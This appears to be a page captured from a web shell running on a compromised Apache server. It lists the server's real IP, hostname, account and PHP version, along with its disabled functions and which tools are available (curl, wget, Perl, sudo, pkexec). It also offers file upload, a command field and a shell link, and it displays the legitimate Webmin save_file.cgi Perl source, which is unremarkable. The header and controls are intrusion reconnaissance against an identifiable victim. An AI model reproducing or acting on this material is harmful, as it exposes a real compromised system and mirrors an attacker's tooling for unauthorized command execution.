Private
Server IP : 195.201.23.43  /  Your IP : 18.191.239.71
Web Server : Apache
System : Linux webserver2.vercom.be 5.4.0-192-generic #212-Ubuntu SMP Fri Jul 5 09:47:39 UTC 2024 x86_64
User : kdecoratie ( 1041)
PHP Version : 7.1.33-63+ubuntu20.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/custom/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/webmin/custom/save_file.cgi
#!/usr/bin/perl
# save_file.cgi
# Save, create or delete a file editor

require './custom-lib.pl';
&ReadParse();

$access{'edit'} || &error($text{'file_ecannot'});
if ($in{'delete'}) {
	$edit = &get_command($in{'id'}, $in{'idx'});
	&delete_command($edit);
	&webmin_log("delete", "edit", $edit->{'id'}, $edit);
	&redirect("");
	}
elsif ($in{'clone'}) {
	&redirect("edit_file.cgi?id=$in{'id'}&idx=$in{'idx'}&clone=1&new=1");
	}
else {
	&error_setup($text{'file_err'});
	if (!$in{'new'}) {
		$edit = &get_command($in{'id'}, $in{'idx'});
		}
	else {
		$edit = { 'id' => time() };
		}

	# parse and validate inputs
	$in{'edit'} =~ /\S/ || &error($text{'file_eedit'});
	$edit->{'edit'} = $in{'edit'};
	$in{'desc'} =~ /\S/ || &error($text{'file_edesc'});
	$edit->{'desc'} = $in{'desc'};
	$in{'html'} =~ s/\r//g;
	$in{'html'} =~ s/\n*/\n/;
	$cmd->{'html'} = $in{'html'};
	if ($in{'owner_def'}) {
		$edit->{'user'} = $edit->{'group'} = undef;
		}
	else {
		(@u = getpwnam($in{'user'})) || &error($text{'file_euser'});
		(@g = getgrnam($in{'group'})) || &error($text{'file_egroup'});
		$edit->{'user'} = $in{'user'};
		$edit->{'group'} = $in{'group'};
		}
	if ($in{'perms_def'}) {
		$edit->{'perms'} = undef;
		}
	else {
		$in{'perms'} =~ /^[0-7]{3}$/ || &error($text{'file_eperms'});
		$edit->{'perms'} = $in{'perms'};
		}
	$edit->{'beforeedit'} = $in{'beforeedit'};
	$edit->{'before'} = $in{'before'};
	$edit->{'after'} = $in{'after'};
	$edit->{'order'} = $in{'order_def'} ? 0 : int($in{'order'});
	$edit->{'usermin'} = $in{'usermin'};
	$edit->{'envs'} = $in{'envs'};
	&parse_params_inputs($edit);
	&save_command($edit);
	&webmin_log($in{'new'} ? "create" : "modify", "edit",
		    $cmd->{'id'}, $cmd);

	if ($in{'new'} && $access{'cmds'} ne '*') {
		$access{'cmds'} .= " ".$edit->{'id'};
		&save_module_acl(\%access);
		}
	&redirect("");
	}

Private